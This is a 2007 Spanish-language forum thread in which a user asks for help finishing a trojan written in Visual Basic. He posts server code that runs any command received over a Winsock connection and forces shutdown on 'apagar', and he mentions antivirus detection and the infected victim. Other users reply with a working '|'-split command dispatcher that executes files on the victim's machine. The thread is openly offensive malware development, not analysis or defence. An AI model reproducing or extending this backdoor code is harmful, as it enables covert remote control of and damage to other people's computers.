Duda a la hora de crear un troyano

Iniciado por Xerok1!, 29 Mayo 2007, 19:00 PM

0 Miembros y 1 Visitante están viendo este tema.

Xerok1!

bueno,mi duda es la siguiente::

yo,tengo el codigo de mi troyano hecho,el unico problema esq en el data arrival del server,para ejecutar kualkier archivo,tengo q colocar un "Else"(para q si los dats no son los definids anteriormente ejecute los nuevos datos...),bueno,pues esto obviamente funciona correctamente,el problema,esq yo quiero tambien q el server muestre un msgbox con los dats q lleguen,pero sin ejecutar a la vez estos...os pongo un ejemplo de lo k ocurre(no es mi troyano,es un ejemplo simple para q se entienda...):::


Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
Winsock1.GetData datos
If datos = "apagar" Then
Shell "shutdown -s -t 00", vbHide
Else 'aki esta mi problema,q si los datos no son "apagar",ejecuta,hace un msgbox....
Shell datos, vbMaximizedFocus ' esto ejecuta los datos...pero y si yo quiero tener las 2 funciones(q ejecute y q cree un msgbox???)
End If
End Sub


el code esta perfecto,pero si yo quiero tener en el "else" dos funciones(ejecutar y enviar un msgbox)puedo??
esq lo q me sucede esq primero envia un msgbox con los datos,y despues ejecuta mi programa...

siento si esta un poco lioso pero esq es dificil de explicar.. :-\ :-\

pd:yo solucione este problema creando dos winsock,y q en el data arrival de uno ejecutara y en el otro creara un msgbox,pero es demasiado xapucero y da problemas cn los antivirus etc(por q si el infectado permite una conexion bieeen!! pero no creo q sea tan estupido de permitir varias conexiones del mismo programa en distintos puertos...)

un saludo y gracias de antemano  ;) ;)
[Firma]Esperando haber si acaba el concurso de firmas y la pongo[/Firma]

~~

Hola, no es necesario todo eso. Veras, la tecnica mas empleada en estos casos es usar un caracter para hacer un split, me explico:

Tu por ejemplo desde el cliente envias esto al server:
ws.sendata "Ejecuta|C:\exec.bat"

Y en la llegada del server partes esos datos por el "|" con un split:
Winsock1.GetData datos
Partes = split(datps, "|")


Asi en Partes(0) te kedaria "Ejecuta", q seria la cadena q tendrias q comparar:
select case Partes(0)
case "Ejecuta"
'Aki lo q kieras hacer, en este caso seria algo asi
Shell parte(1)


Ya que en parte(1) estaria guardada la ruta, es decir C:\exec.bat.

Asi puedes hacer cualkier opcion ;)
1S4ludo

Xerok1!

Gracias EON!!!,esa tecnica intente usarla poniendo q desde el cliente enviara en un textbox "c:\" + text1.text, y q desde el cliente una vez leyera "c:\" + datos lo interpretara,el problema esq eso me funcionaba pero me avisaba un msgbox de todas formas cn los dats jejeje..
muxas gracias ;) ;)

saludos!
[Firma]Esperando haber si acaba el concurso de firmas y la pongo[/Firma]

vivachapas

Citarel problema esq eso me funcionaba pero me avisaba un msgbox de todas formas cn los dats jejeje..

no entiendo q problema tienes ahora... q no te hace el msgbox?? es sencillo mira...

select case Partes(0)
case "Ejecuta"
'Aki lo q kieras hacer, en este caso seria algo asi
Shell parte(1)
msgbox parte(1)


y si lo quieres hacer como estaba tu codigo.. despues del else pones todas las cosas q quieras q haga... no importa cuantas sean ni los renglones q ocupen


creo q esas eran tus dudas XD

si no avisame y veo si te puedo ayudar ;)

Xerok1!

si,justo eso era mi duda..gracias!,esq no se me ocurria de ninguna forma :-\ jejeje

un saludo ;) ;)
[Firma]Esperando haber si acaba el concurso de firmas y la pongo[/Firma]